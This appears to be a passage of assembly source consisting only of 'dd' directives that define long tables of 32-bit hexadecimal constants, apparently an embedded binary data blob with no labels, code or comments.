dd 517234EFh, 0A900A36Fh, 0CCFEBB18h, 7E9D6963h, 0C494FC6Bh
dd 0D1E0BA4Dh, 0AFDE9F13h, 0EFF3BF40h, 0BF7E4EB0h, 82807534h
dd 8015859Dh, 40C2E1FFh, 50F5ADE7h, 8E2BF7B1h, 2E1322C4h
dd 25E69509h, 80C03E5Ch, 13F00357h, 0AB9DE22Ah, 0EC31A369h
dd 0B32AD461h, 83C68AFFh, 0DA7BF80h, 0BB606BE7h, 5AFF7AD4h
dd 0BC27131Dh, 0AFF712BBh, 0ED7ADBB1h, 27CCE824h, 0B5DBD2Bh
dd 46F4D8F4h, 83B24A89h, 3571D92Dh, 83A92134h, 0AD1689CEh
dd 8D12DDD8h, 60A5D2BFh, 0C557E7E2h, 6E7F25C9h, 23519D02h
dd 0DCADB18Bh, 0F6DC2EB0h, 8060700Fh, 0A1B86FEAh, 610F6A79h
dd 22219238h, 1C45C831h, 0DDF26800h, 0BB6CA601h, 20BFA20Ch
dd 0DE5032Eh, 0AEE4B9DEh, 0BC9376A8h, 0F6ECD248h, 0EEDEC5D7h
dd 602D7CCAh, 0B5C2A7DCh, 9847E4BDh, 61A68904h, 0B923842Bh
dd 337E8A2h, 96B6AA8Fh, 0E0127D1Eh, 70AE08FDh, 3B31BF33h
dd 0CD7F1B25h, 601B64C6h, 4E4D8D7h, 1E78EE2Ah, 0D13281EFh
dd 51814821h, 20B7185Ah, 0AD30EA4Ah, 13E14733h, 0AA10B76Fh
dd 0DD95F760h, 41AC8423h, 0C2FC8A25h, 0E0C26DC0h, 96A03CBFh
dd 0F98A5707h, 8B51505Bh, 60EA5FDAh, 26E1614Ah, 6E137810h
dd 20C3EE93h, 0BFB8EC27h, 0B1D9B75Fh, 12F87710h, 0D8E704F7h
dd 0A03B3254h, 258402C5h, 0C6C72A21h, 5D41122Fh, 0D9F8600h
dd 0FA00EE3Ch, 0B00ABAA0h, 1CC2F8E0h, 6E50905Fh, 23D70BEAh
dd 3E62F85Ch, 0A0995798h, 2DF86B51h, 90DABF80h, 5B2D46F7h
dd 5CDB758h, 0BF656B52h, 3ECB8E20h, 0CA4C090Bh, 3975ECF8h
dd 642DB3h, 0BF8D5E5Fh, 92000D7Eh, 0B0665FE8h, 6A090BCCh
dd 579FB3E2h, 8F713D08h, 66C5A02Ch, 20B250h, 3328807Dh
dd 3A52E1h, 0D7DE8DF6h, 3D6B4A8Fh, 8C3FA202h, 8266B341h
dd 0DD880FAEh, 318234F9h, 0FD2FC18Dh, 0E8EAAA4Dh, 468F23E0h
dd 68CB1794h, 999BFE4Fh, 0FE1E6A85h, 0F510CEB6h, 9D291624h
dd 93E61ADh, 0AD08F116h, 0CBFDB4D9h, 9499FCA9h, 6825ACF8h
dd 629CDD16h, 0E9352662h, 963D7F3Ch, 8D7CE980h, 97F820FCh
dd 5F72189Dh, 3755E7C2h, 0EC310282h, 0E95C9FCEh, 9D081E51h
dd 0E2263121h, 0CF75040Bh, 1C8E4081h, 8912F72Dh, 52AC29BDh
dd 0A00E8A4Bh, 0E6422E9h, 0AD636F7Ah, 0FC800EE8h, 0FA3B37CCh
dd 818D006Bh, 7C516DCFh, 7C95C8D5h, 4453C935h, 0DAED50h
dd 7006D8D9h, 0AC3365BFh, 0BBA8184Eh, 945F1B27h, 20F1253Eh
dd 1579AD73h, 7162F818h, 5A18696Ah, 0C4DF4A31h, 0E46FB630h
dd 126CB6AEh, 0D6B687B3h, 0E3018B2h, 7A7B148Fh, 592A80FCh
dd 165B958Ch, 0CE181559h, 5FAF3655h, 0AD8B801Ch, 12D8F9EEh
dd 0FA50CC26h, 9529D231h, 5F27916Ah, 41AF6056h, 57110A69h
dd 0EDB11466h, 35BD0382h, 89F3D52Ah, 23099D85h, 582CE0CDh
dd 0D38166A0h, 0E2910D25h, 0C67D00h, 2B050797h, 57493997h
dd 6CCBCA6Dh, 86AD122Dh, 40E2BF61h, 0DF81AE00h, 17236508h
dd 12E71B97h, 8D20E9B4h, 0D14EE384h, 3AAABB8h, 0A2A307C9h
dd 428792B5h, 1D177965h, 441EC032h, 5BF88AE2h, 0CCF7CEFFh
dd 0C5DF0788h, 27499621h, 0B35B4B50h, 38D63270h, 360B34DAh
dd 8083E49Dh, 0FA155559h, 81751CC5h, 2C5D8589h, 8ED72B2Eh
dd 665664BDh, 758E1282h, 5BE901F9h, 0D7A470CBh, 75294514h
dd 0D6522591h, 0A61E6F67h, 8F25DE42h, 1E4005D2h, 320F8F28h
dd 0F92F0180h, 44F6C966h, 2B8B5C00h, 0DFEB86F7h, 0A8C80BD1h
dd 66D7369Dh, 3ABF1AC4h, 0EFDD55A2h, 0F84609Ch, 3E055E60h
dd 529BCC20h, 82D14740h, 37BA97h, 0A9F5BB49h, 1F7DC7D6h
dd 0FE8ACD12h, 0C84ED9E3h, 0CE013639h, 7310E141h, 282E67C6h
dd 0DBE60B4h, 868E4F6h, 6476914Ch, 771B410Bh, 0B0CB0ACDh
dd 72165D0Eh, 31BD0025h, 0AB75BB98h, 0C7B00155h, 71159525h
dd 0F07027B6h, 0CBEBD9BDh, 0F0FF754Ah, 336D033Fh, 0EA5B414h
dd 0BE5CAFFAh, 9CFF8192h, 0CB0062BAh, 6F0CFEEh, 1EAFA58h
dd 25F42B6Ah, 2BC18B1Ch, 6412D320h, 4A6E002Ah, 5DCBC704h
dd 570369CFh, 30E161A2h, 5C1FDA80h, 0B55552C5h, 3B2F00F2h
dd 50F9A832h, 0A940F6B4h, 8773FFh, 48F5786Bh, 0B0A53E5Dh
dd 634F7504h, 37F102CDh, 45B8D939h, 0A7CBA101h, 651C4647h
dd 4025A420h, 0BB136620h, 0B44EFE48h, 6FAE92D8h, 8F5A285Eh
dd 0E96E8813h, 870CDBAAh, 5E919BE2h, 42BF8A6h, 0EAC08391h
dd 2A50DAB0h, 185FD8Ah, 92D4C781h, 7F6A559Ah, 428095ECh
dd 1C79BD8Eh, 1CC0600h, 77361ACEh, 5F6C3B5Ah, 0EE552D05h
dd 87BF3471h, 0F0E4902Ah, 3A005C45h, 0F1994CD0h, 25BC4AF6h
dd 767877CCh, 51DC45B5h, 0B982CA4Dh, 0A9E1AC86h, 0CE75C265h
dd 0D1FF2D1Eh, 0B40B84B7h, 0E96618A2h, 8A200B4Ch, 0EE04035Dh
dd 715B091Bh, 545844A9h, 6AE10C73h, 4E6D9C02h, 8927FE12h
dd 0CA938139h, 0F83F5C54h, 0FB93C68h, 0C9456325h, 12E204D9h
dd 0A94A79ACh, 2FCABC5Bh, 3AFA7E30h, 13506197h, 0AA6F762Eh
dd 3CBE9D4Fh, 439292CDh, 0FE54BB04h, 7A801B08h, 93E429D1h
dd 70F7D24Eh, 3C05CD2h, 0B7F8D00Eh, 534E3F2h, 2219BD31h
dd 0A9A89B53h, 0AE202E8Eh, 4BC085DDh, 95EA4700h, 0A6F5162Dh
dd 0D97C0235h, 9050ADDAh, 27DC4654h, 0D56ED1h, 0F725BFCBh
dd 0A0754FADh, 0E3AA7DF9h, 1981BB40h, 0F86E6181h, 0C204AA73h
dd 0B821CF80h, 7AEF9222h, 89EA4B3Eh, 0CFE92EB9h, 82EC39A9h
dd 0E0B34D65h, 94FF6AE1h, 223ADC58h, 410500B2h, 3FA0A5EEh
dd 169AB8BAh, 0F834A4BFh, 0E1513B1h, 2877ABEh, 0BB1C7CA2h
dd 0C49C5C5Eh, 33BF400Eh, 9558C725h, 85319458h, 70E67111h
dd 0C389F07Ah, 71583A79h, 0C9FE25A1h, 8114ED89h, 2E963635h
dd 33AA7B12h, 1C12C171h, 73E1DE12h, 0FEBA202Ah, 1100CE06h
dd 1ED07C36h, 975003F7h, 0BF527700h, 0E16B7B5h, 4FAB5F47h
dd 8110691Bh, 95895251h, 5F38B739h, 48A5E995h, 0E05D6912h
dd 47285571h, 0F97CA949h, 55750B97h, 0C2F3BFC6h, 89D0B875h
dd 0BC6B513h, 0E8F9244Bh, 1D4EDBC0h, 0F3D79BBh, 403ED18Fh
dd 0E92F7FDBh, 0DD155D69h, 8812C29Bh, 8AE3C90Dh, 0EC5DF525h
dd 88DF4BB3h, 578A3A90h, 2021C438h, 9D901497h, 1F804E71h
dd 0A01546BEh, 8E4C000Fh, 0FB9BE327h, 992A9D31h, 0A4829D1Ch
dd 0FE8B9318h, 0E9E3097h, 0FDE85EEAh, 153BCD2h, 0E8FFD898h
dd 0A733D380h, 8925DBAh, 0C9A9D607h, 33A8B171h, 0D1B9FB1Eh
dd 6EEE4A38h, 38CA0584h, 458157A3h, 896FFCE1h, 0ABE83AE6h
dd 0A8A8704h, 29A3FFE0h, 0FCFA8B0Bh, 75A5BBB7h, 8529ED81h
dd 0B8739ADh, 5413C9BDh, 9D23C0FFh, 24972259h, 38B8F87Ch
dd 93AACF5h, 0F7563E5Eh, 890988C4h, 711B558Dh, 135B6B11h
dd 0B2E050h, 816B771Dh
dd 75866FEBh, 9A3153h, 0E2C026D4h, 196ECBh, 95B64BC1h
dd 0CC2E1CE1h, 0A70C1F97h, 0F019037h, 0FAD780E3h, 756E7Eh
dd 80D0BEA1h, 3EBB585h, 0B86044A4h, 4BD06348h, 90961F8h
dd 0D70AF195h, 5D44101Ch, 0F9C70481h, 0BD163A8Ch, 8C17A883h
dd 9F0BDF0Bh, 58582D8h, 6DF17D2Ah, 12245942h, 677090D3h
dd 0FA31252Fh, 0EA0B0AC5h, 97CE3D03h, 17A4E2EFh, 2BBEDFB0h
dd 2DCA4ABAh, 0FF76C334h, 91C0D0DBh, 0F8E9E4EDh, 97FD8502h
dd 0FD662B3Fh, 5866A5D9h, 10D4955Dh, 8112266Ch, 8AF57B60h
dd 0E8BADA44h, 0D4DB9249h, 36FA0C81h, 0D6BD3E97h, 73D0F4Ch
dd 84144BFDh, 0E0B6A633h, 0B5087BB5h, 0E91D0B05h, 59012D1Ah
dd 2F219ED9h, 54256B3Dh, 0FE90AF8Ch, 33044C02h, 548EFBE5h
dd 4BD72C1h, 0ABFFBC2Eh, 28060373h, 63D0D7C9h, 47F3BF7h
dd 0CBAA3239h, 45A64E87h, 3BFFA1A0h, 4984E20Bh, 1192DE90h
dd 0AD603804h, 0D05CFB61h, 48394B73h, 122B0943h, 44737024h
dd 8B25F501h, 605A42C7h, 9081D96Dh, 1B52000Dh, 0A5976815h
dd 0E2B77EA9h, 3DB656A4h, 0A5B6A69Eh, 96EB2788h, 0CDCCEEF8h
dd 1C6E09DBh, 1E8E0C5Ah, 20F5AB52h, 0ED4DF96Fh, 61E93DECh
dd 0E780C170h, 9B342E5Ch, 0D580A6E8h, 0BA7BCFFFh, 0FD245303h
dd 899A1520h, 85C07989h, 0BB990135h, 3B7CBE86h, 0FFFE935Bh
dd 81DB2AABh, 12DF8042h, 0BC6A62Ah, 5523F59Dh, 75D0963Ah
dd 0CEFC0DD6h, 29FC0612h, 0B06C6658h, 2514F799h, 0C0C006F8h
dd 965AF98Bh, 44E8F2E0h, 0CF01F808h, 3493C3DAh, 853B7A9Bh
dd 0E07A81D8h, 0BEE02A12h, 0C856B550h, 40244DE9h, 0FCC8E56Eh
dd 54D72D02h, 5C174A73h, 0BF3365CFh, 9681FF4h, 4EC1731Ch
dd 70E33918h, 30BDE79h, 552515BDh, 83C09C15h, 9521BA51h
dd 5F49E554h, 9EE5AA89h, 745FD7C2h, 1638A481h, 0AB5CC411h
dd 4D430E6Bh, 6A0BBE4Ah, 853D5561h, 7F0CB0AFh, 0DF490483h
dd 0AC50B3EFh, 1719A333h, 0D7B5292Fh, 0B7F34E34h, 497B000Dh
dd 0BF840847h, 95DE704Ch, 467CF96Dh, 0CE3A001Ah, 0A71673Dh
dd 0AF2F9925h, 0FD004DCh, 84DB12C6h, 0EC508960h, 3716422Eh
dd 0ADE8AEE1h, 63E85FA1h, 75D902F8h, 74AD8B2Eh, 71684020h
dd 6B00B725h, 83F64808h, 2F5AE36h, 0F2DC0B2Eh, 96586EE9h
dd 39BBF94Bh, 370C250h, 5F7A819Bh, 9480B174h, 8A6D3118h
dd 0EF8102FCh, 4F225E95h, 0C7972945h, 834C9EFBh, 3F1071CDh
dd 0BBDB31D4h, 0B44D786Eh, 6F603ECEh, 0B08ABD0h, 1D52719Fh
dd 0BC0D9389h, 6ABA4BEBh, 0A7D84F88h, 0BE6F1D1Fh, 0B8D79296h
dd 9739C02Ch, 0E65DBF9Bh, 0B59CFEEDh, 1D6427CDh, 3A2DAA64h
dd 839DFE6Ch, 0B4C5B6FBh, 91FF008Dh, 6AF3BEC2h, 899D9A4Bh
dd 0FAA87929h, 64C4C75Bh, 30B9A181h, 0BABB9600h, 5216940Eh
dd 4FF5C150h, 60F21F54h, 9D1A41F3h, 18796773h, 54AB2A19h
dd 0C2C0CBBCh, 56F36A82h, 491C4A00h, 90EC53A2h, 27B00607h
dd 0B2F1A7E5h, 30BBDA4Bh, 3160F89Ah, 1258527h, 8D8B56FEh
dd 21BDE53Ah, 0EED514F3h, 7A039A7h, 7D00C276h, 0AA2A486Ch
dd 9D8D0F43h, 2540C5F9h, 4EA8EA70h, 0AC9AADAFh, 0F7048C14h
dd 2311BD09h, 0C309E8AEh, 0D832CC29h, 21C4A9h, 9C3CBBCAh
dd 7764A5AAh, 628B7C95h, 0E171F9BFh, 9C4F4A7h, 0FBDB04C2h
dd 736C7D72h, 74302D26h, 13527060h, 0C6C0FDE7h, 904013A6h
dd 64CDAE0Bh, 3CCC142Bh, 0CB71FE89h, 7FBF89BDh, 8DC6F7C1h
dd 26DF7B80h, 5D02900h, 4217614h, 9AA15094h, 0CE7564D7h
dd 35E7ABF9h, 0DDD55BF0h, 7FF73A09h, 0AF51E0h, 0AA4C6BDBh
dd 40733175h, 7AAD5F00h, 0EE69A43Eh, 8C0F253Dh, 96405E79h
dd 3F97537Bh, 629F8105h, 28DA4039h, 5D02DDADh, 5BDC6016h
dd 1AAC2BB9h, 67A3018Ch, 6BAB2107h, 985B507Ch, 0D200E4C0h
dd 2B82DD2Dh, 0EC430Ch, 0B66B9560h, 4767BB75h, 5B7D2202h
dd 742FB750h, 81D42589h, 251E01DCh, 188B7B2Eh, 0AFF96E6Eh
dd 99DD259Eh, 282ED9B1h, 0D58A3DDBh, 427B8C1h, 8A2DC1ACh
dd 335C5E62h, 3DA9B916h, 9B965B12h, 505980B3h, 29F8522h
dd 841FE381h, 0CE5E6517h, 12690055h, 0CB7E636Ah, 0DA01BA5Bh
dd 8960A84Bh, 18C1266Eh, 7325E97Fh, 16887361h, 84B8B8FAh
dd 0B3BB7647h, 38D60EC2h, 9FEF325Fh, 91F5C086h, 398DF97Dh
dd 76587E17h, 800534C2h, 6FDD7F40h, 0CAEE4C17h, 91A2DAEEh
dd 4C30C0B8h, 614B6D79h, 9AE7FE57h, 0DEF82ACEh, 0A5DE7CA2h
dd 0B0BD27F6h, 68D0B686h, 9665CE17h, 3D12D1ECh, 0F20DF60Bh
dd 26BE301Bh, 53CD9A02h, 0F7C92061h, 3D628CCFh, 0E1C2C0DEh
dd 43719513h, 49027CEAh, 0F7F4E9A5h, 0DE7C90C2h, 0ED8004DCh
dd 0AB92C2DDh, 0B87EDB23h, 83D3C8h, 9CFB637Dh, 0D46CA93Bh
dd 0EFC8B4Bh, 12C19E9Dh, 8FD1F8DEh, 675D6ED3h, 80A09046h
dd 12577A7Ch, 84FA08BDh, 49B404BDh, 815F002Ch, 0BE6832C7h
dd 0E5AD9B33h, 0E32C5CCCh, 5A17D919h, 7621203Ah, 4100CCC6h
dd 64964CF7h, 2417348Bh, 40A89589h, 6FD3F681h, 24BF3Bh
dd 4CB86AEEh, 1FBB571Ah, 182B3016h, 0CDFA1A59h, 0B817D704h
dd 1FC2AFE8h, 0FA996656h, 688839E2h, 1E0FA392h, 57E540A1h
dd 0DB19B88Eh, 804798B5h, 5BCB01D5h, 0BB17048Fh, 1F5730BDh
dd 15633FB8h, 0FDEA81C7h, 1158F5C3h, 38241D18h, 0EA2C45C2h
dd 5BF4D180h, 9F1310DDh, 190465B7h, 580013EDh, 98B8FA81h
dd 9AD5FFA2h, 0A9A602B9h, 1FE90230h, 1288E20h, 67B20012h
dd 0A66D42FCh, 8B0DBAFDh, 465BE9DFh, 38C0FBC8h, 5D87AE21h
dd 10248CB4h, 7C2206BCh, 9E940E00h, 0BD3FC8E1h, 169B07E9h
dd 20A2465Ah, 8EEA152Fh, 3CE4F700h, 12B68596h, 0CE06009Bh
dd 0E91D1EB7h, 0B4663EC5h, 0EFEA5739h, 19F795E4h, 8A53612h
dd 792180AAh, 0D93B58B3h, 4157D21h, 52930542h, 0B7B80706h
dd 0A612B313h, 6D760010h, 6B9FC026h, 7BE297C5h, 21F008DEh
dd 266550h, 54FB0CF7h, 0F5129399h, 63F898C0h, 419B7061h
dd 5D3080E1h, 8BDAD0FAh, 0CFCA0015h, 60B83292h, 4A60BB05h
dd 0BFD21F88h, 0EA18CF80h, 1047B784h, 8C6CB84Ch, 7CBDA20Fh
dd 2A15019Fh, 58808DA8h, 8B395A7Eh, 48E87784h, 0CDE2B200h
dd 0A6946299h, 0E9F500CFh, 7AA17F1Dh, 0A000E1AEh, 0ACF74B8Ch
dd 0F2F6EBA9h, 0DAE0A2h, 289C4079h, 718EB72Ah, 0C1E57F00h
dd 0AD37732h, 1ECF0ED4h, 0A5A0D0B4h, 0C8D8E3F6h, 0E89D5400h
dd 52C20444h, 64580019h, 8701203Dh, 5F0068F8h, 3C09DFEEh
dd 0C6F692h, 0A79E46Ch, 2D45D199h, 0AF02F472h, 23586D56h
dd 206F407Dh, 0DAB00031h, 0DD99B61Eh, 54FA3286h, 0E794641Dh
dd 0F3071A00h, 73308061h, 95863E55h, 0D7980238h, 0F1D18CDh
dd 62AE38C3h, 99B9A0C4h, 0A90331DAh, 0BEEE9051h, 85BD1E08h
dd 0B4611300h, 4DBE75h, 4454DB77h, 5134C01Bh, 44A33F28h
dd 5C07B900h, 6A46CCC7h, 0C38820F2h, 0D63171Dh, 2D3924C6h
dd 50CA0130h, 0C285AB72h, 70BE203Ch, 10AE4630h, 83F81Bh
dd 45DF0311h, 6167AF15h, 0DCCF5700h, 0F4BB20Bh, 0F58D00C1h
dd 6B329DF6h, 1D01E82Fh, 12A00DF2h, 46C4C3F4h, 0C1CB01DEh
dd 2FD7D8BFh, 0ED87CC5Ch, 0F51E7B0Eh, 862B81BDh, 48D0429Ah
dd 11FF63Ah, 0C3A885AAh, 0D424DAE3h, 0BA306BB0h, 0A5FE180Ah
dd 0D46D0368h, 0E24EAF23h, 0D79D42C0h, 721803F0h, 7B282AAEh
dd 9609303Ch, 0B7F60261h
dd 74A6300Eh, 33AEFFBh, 98859EABh, 642192Ch, 0A687471Bh
dd 609530A4h, 503A0128h, 78BE14E6h, 424C000Ah, 0B5CCCD87h
dd 78C08862h, 0A77C7DFBh, 1CD1D0EEh, 19F443C6h, 0C0CDC630h
dd 32C23C0Ch, 0B598D623h, 610BB010h, 66F8E942h, 5C21A182h
dd 50175951h, 0A4CFA3A0h, 1D9F938h, 7DF3234Eh, 208028C2h
dd 3DC7EB7Bh, 0FF1D2B0Ch, 0AF16C63Ah, 0C1626A0Fh, 0DC426332h
dd 4FF3B180h, 0A70633E1h, 0B7A00B07h, 4540ABCCh, 0C620B0C8h
dd 31834251h, 8259B73Ch, 7CBEB1A8h, 0CC19C1A4h, 0C1B8CBF0h
dd 60C5C886h, 3D78886Bh, 69E0002Ch, 0F2ACD7D0h, 7778BE14h
dd 0F87211A0h, 6FBDFE05h, 6E98003Dh, 0E0508EAh, 6A3CE000h
dd 240AB89Dh, 7C454C56h, 7CC68A03h, 7905B5A6h, 0AAB36A01h
dd 81582408h, 41F84CDBh, 43B9C389h, 38C19393h, 442E1B00h
dd 15C770h, 9446E6B4h, 0D866606Ch, 4E267A03h, 0EB06CB56h
dd 7459F845h, 0D44414AAh, 0BE06C04Ah, 189A41EEh, 59879130h
dd 0A11EAAFh, 672E0AA0h, 0F3D300D8h, 74B3A1A9h, 3E2BA300h
dd 75D2FDC5h, 43C240Eh, 67A6425Ch, 0AAB8ECA0h, 0D200C66Ah
dd 3C0D8B9Dh, 1F73A729h, 0E33893h, 25745E0Ch, 6B0364FAh
dd 6EAB470h, 0FBA2E049h, 0A7C60288h, 3AC2BA9Dh, 6382DCA0h
dd 6D00A5FCh, 53DF85EFh, 75D70C15h, 434717A7h, 0FC600CAAh
dd 0F6308DC0h, 712A390Dh, 3C68496Eh, 4A001622h, 3C4313ABh
dd 3B743B7Bh, 0D88083BAh, 0FFAB6B3h, 7E09E8FEh, 11BCE6Ah
dd 0B0D9C270h, 0F960D440h, 5BD338A5h, 8EFB0378h, 0CADA541Bh
dd 4D82E3A8h, 253FAB00h, 0AC61FC53h, 7121E35h, 0D1E540D4h
dd 4A63B0F0h, 0CC305960h, 0C0FB832Dh, 68A7A28h, 660747D4h
dd 0D063DBC0h, 310381E0h, 40C360BDh, 56267205h, 60581D3Ah
dd 247BB410h, 71D103EFh, 6A5501F1h, 21BF0830h, 247315h
dd 188AE1B3h, 8E3A9E14h, 83CE70C3h, 0C7980005h, 0F0B11121h
dd 0F200E0BAh, 8A58D7A9h, 1D7AAD59h, 465B4419h, 89BA2FA1h
dd 7B503E00h, 0A58E8C3Dh, 8069001Dh, 0C3ED4E74h, 560087B6h
dd 0D5B02D78h, 664CA7Eh, 71AF8E15h, 0E80CC04Ah, 0D80F9933h
dd 3AE500D2h, 32EE4312h, 0A400FA39h, 0D4BF892Eh, 0A932490h
dd 47CCFCD3h, 0C0AF1DB3h, 0BC11AA0Dh, 50ECE7D7h, 57A15D00h
dd 33216A7Ah, 79DE034Eh, 2F7C1615h, 0D2A2CCC0h, 3A87AD0Bh
dd 32778005h, 0A54209Ch, 771775DFh, 0E21E07A7h, 40DAE7D6h
dd 64E47B42h, 90713301h, 7414B1C2h, 0E686D0h, 7DD3B2DDh
dd 85644CA7h, 0FA193007h, 4310ACFEh, 10DBB4h, 0F9403DC4h
dd 0DADF0DC3h, 175B9B00h, 0DB7887F0h, 8886377h, 2001C440h
dd 125B943Ah, 96D46003h, 36A81337h, 4FAB00A7h, 80513150h
dd 28566800h, 99FAC516h, 0C0DF74B4h, 2943F60h, 7E2EA12Dh
dd 8E0E14E8h, 21D68DE7h, 0E029DE4h, 0BED50791h, 39B1CA00h
dd 5B00A456h, 26DBB9F5h, 0C8DF0CA7h, 0E1C007B8h, 46F01158h
dd 4122B7h, 6B5B998Ch, 0A8D0A7C7h, 9807B701h, 1627D8B0h
dd 46B05046h, 283029Ch, 3166A130h, 9C6410D0h, 0D6D50302h
dd 0B94F0834h, 97D74F0h, 0A7B84673h, 5C6EE00h, 323C8879h
dd 59AB3BF3h, 0AE71FB80h, 0C293090Ch, 0E3FAA0C0h, 3949F2Fh
dd 4E04E750h, 830D749h, 68921DBh, 3513009Fh, 0DE5D67F3h
dd 4918FD5Fh, 80B1154Eh, 0C61728BCh, 5CF90C94h, 4F80282Ch
dd 642F530Fh, 1EFAC0DAh, 0A04518C8h, 1BAA6D0h, 1295672Bh
dd 40D62E22h, 0A4EA72BBh, 0E30EAB00h, 0DF79A6F4h, 61C90005h
dd 0EF5C4B2Ch, 0E13E5E9Dh, 6B91001Ah, 88E3C013h, 830E5023h
dd 1370012h, 538C6C7Bh, 8601B47Ah, 0B18DE0B8h, 11DCA083h
dd 17820168h, 8C765D19h, 4B37E4DFh, 832F5700h, 0B2E5846Ch
dd 643A00ABh, 50995DC0h, 81006BFAh, 4F35F6C2h, 0F449D7DFh
dd 0CD1C0045h, 0D1B330D8h, 0DC0025B5h, 8C935906h, 0DB72F9h
dd 0D7331380h, 9FBA30AFh, 0E423C11Ch, 39F24C80h, 7477C80Ah
dd 0F0AD00F9h, 425EA7A8h, 7BE288DBh, 4917AB00h, 3D9635F2h
dd 14541EFEh, 0B896D2h, 70AFF00Fh, 2B0C5A60h, 20C97A6Eh
dd 0E09E0F49h, 203417CFh, 60CC4FE3h, 181A1FD6h, 3003B4EAh
dd 4B98CE88h, 6DAB3501h, 6CC32DEEh, 0C01FE4D0h, 87C6E920h
dd 9618B5E7h, 0D05894BDh, 0C5A17017h, 866E35C8h, 300A197Ah
dd 30131FD7h, 4D87CD41h, 0A96C2620h, 9017E730h, 0A71687C5h
dd 9AD9D72Ch, 8E2AF70Fh, 80482E27h, 576903A8h, 3CCD716Bh
dd 0C61995B4h, 875B08ACh, 74BF0C21h, 0ED6E00EFh, 18B0202Ch
dd 999D8E36h, 9F1EECF1h, 3030C683h, 68DD7FD0h, 8A8C00Eh
dd 0C78FC872h, 0A9795934h, 0E151BFE0h, 0E302A8BCh, 8AC80323h
dd 82B49640h, 0B8080C66h, 1BD40E21h, 33C04303h, 51081CC2h
dd 868B5706h, 7160CAC9h, 9C8CA8AEh, 0B0C61BA9h, 52C090C4h
dd 627D4021h, 4CE3DC06h, 6008F471h, 0DAAD2195h, 50003040h
dd 0C1215D1h, 167A48Eh, 6C1FC321h, 0DC88AEF2h, 3890E696h
dd 0F294503h, 10B79095h, 0C05054C8h, 8A27031Ah, 6448C1Ch
dd 1CBA98C1h, 0CACD9417h, 3894BABDh, 7C992C00h, 0C8889602h
dd 49653410h, 4030408Ah, 8A23037Eh, 4223C46h, 316D503h
dd 0F05BDC56h, 3DF3C2Dh, 5391A4A6h, 40D05D77h, 9FFCCBBFh
dd 0E429C815h, 0B06446C8h, 167CE63h, 0ACF58D15h, 0C082CAF0h
dd 12EAEEEh, 161A7F54h, 42884130h, 67CB2824h, 0E040801Fh
dd 0F4CA1CC8h, 0F5C7C4A9h, 8A91809Ah, 37B4C621h, 80720C4Ch
dd 0F9B0B115h, 6ED0B588h, 2124836h, 6D5468F8h, 35097C44h
dd 23998E66h, 7CAFB60Ch, 0D908F561h, 78B7A720h, 46020978h
dd 0E017D7B0h, 0C980EC91h, 0DB327A03h, 0C02E2D02h, 0A031559Bh
dd 8420C94h, 0FDB31C43h, 759380F3h, 7179E321h, 2365E900h
dd 0E7614902h, 0B78E004Ah, 7C80C99Eh, 7B0D4C35h, 185C5631h
dd 0A99D1040h, 76C93F2h, 541E4025h, 20FF62FCh, 5B40DEB1h
dd 9B517500h, 0B03792C5h, 7B8C0039h, 9830C9F1h, 0CCA9EA83h
dd 36D8D12Bh, 6B5A020Ch, 30ACCE78h, 980F3A0h, 0AB6B0042h
dd 52D2E712h, 0FD0993F9h, 0A02BFA02h, 0B54071CCh, 0AEC42842h
dd 0A98B24F4h, 5964A1D0h, 390188Ch, 1427CE5Fh, 50A3EC96h
dd 0B04CA900h, 0CB1D6CADh, 6E61008Fh, 841C316Ah, 10922CC2h
dd 23EECA0Ch, 4036F0ACh, 751250F1h, 0C00905D5h, 0FE4833CAh
dd 293600A9h, 98EA4357h, 0F9C9A196h, 0B5A40054h, 0F0ABB8C6h
dd 55018189h, 932C05F8h, 0E9800E9Bh, 97CEF34h, 76C25528h
dd 3B8F3429h, 24B25CE9h, 80EF7F61h, 621379F1h, 4AFDE9Eh
dd 157D7673h, 29B081E2h, 58AC205Fh, 45810344h, 45BC2046h
dd 2819C492h, 0C098B097h, 0C882E853h, 4890852Dh, 1607A826h
dd 8929C738h, 18410099h, 2603091Dh, 0C89C148Ah, 315C20Bh
dd 9DFF0096h, 51B83C9h, 4C5728FFh, 0DA088753h, 7D688798h
dd 62B40A55h, 6702A947h, 0C40847A8h, 9D126780h, 3DF48521h
dd 6A47D400h, 0A402969Fh, 4C81F288h, 0FBC04CE8h, 6D53F6AFh
dd 981FF820h, 391946D8h, 355B1277h, 0B0F8F414h, 87CFE8h
dd 65A7AA23h, 0DC75C94Bh, 6C98DA03h, 0F1EBE1h, 0C1ACA29h
dd 295F9366h, 179A7300h, 0F0FC33BEh, 0A9E97325h, 0CC181C40h
dd 35588704h, 0E5326D5Bh, 87C4F720h, 1BE1006Ah, 0BFCF440Eh
dd 11295FD0h, 8A01B015h, 0CEA30802h, 0A1F665F0h, 4424C080h
dd 0C31C13A8h, 32B821C8h
dd 89198F15h, 20725FB9h, 0D81121F0h, 0DD18708Fh, 6B59048Ch
dd 0CE84CE7Bh, 4106000Ch, 0CAB1E46Bh, 0CEDD00C0h, 0D2269F33h
dd 8360E677h, 599E31A8h, 14550049h, 0B9DAA5C1h, 2900C33Ch
dd 0B78FBF62h, 3293E8h, 0EF760156h, 31C84B58h, 39CAA50Fh
dd 3B66A320h, 0D240066Fh, 588AFE47h, 0C85C9300h, 0ECD0AAEBh
dd 30A0B857h, 2728A9A6h, 0A03A767Bh, 4D613F17h, 0E87824B8h
dd 50A36A02h, 1F106132h, 20B1E993h, 9493B9A4h, 88658400h
dd 0A1D8A55Fh, 9BA300CFh, 199C861Eh, 0C13A444Dh, 60DBBF4Bh
dd 5FD1CCC0h, 0C0DC5157h, 0E488344Eh, 11F71BC7h, 10805FE7h
dd 0CCAB78E2h, 0A8295541h, 0DB6CD21Fh, 6380D79Dh, 8242A24Ah
dd 542A30EFh, 6F5952C9h, 6840900h, 68153C8Bh, 0D88200E4h
dd 0A72C8872h, 1628317Ch, 0C3008870h, 0BC0B05C5h, 5133F363h
dd 80CD9C5Fh, 0B1BCB829h, 2711C942h, 2009A93Dh, 9F61CCC3h
dd 580328Ah, 0FFF947CEh, 0E323B83Eh, 0ED9A3307h, 29CB07D0h
dd 0CA540566h, 74C9F88h, 60571384h, 5012946Ch, 0CF00F0B1h
dd 912C6AB2h, 33720056h, 55B9E03Ch, 0C04CF810h, 0EA200D34h
dd 8EF489B6h, 0C9F0171h, 6DE92953h, 6B402079h, 5987830Ch
dd 71090CBh, 0E2FE2433h, 7129B0C2h, 0E9078255h, 0D0B9C947h
dd 0C090A8F0h, 79A40049h, 8E354C64h, 7490A681h, 4022C624h
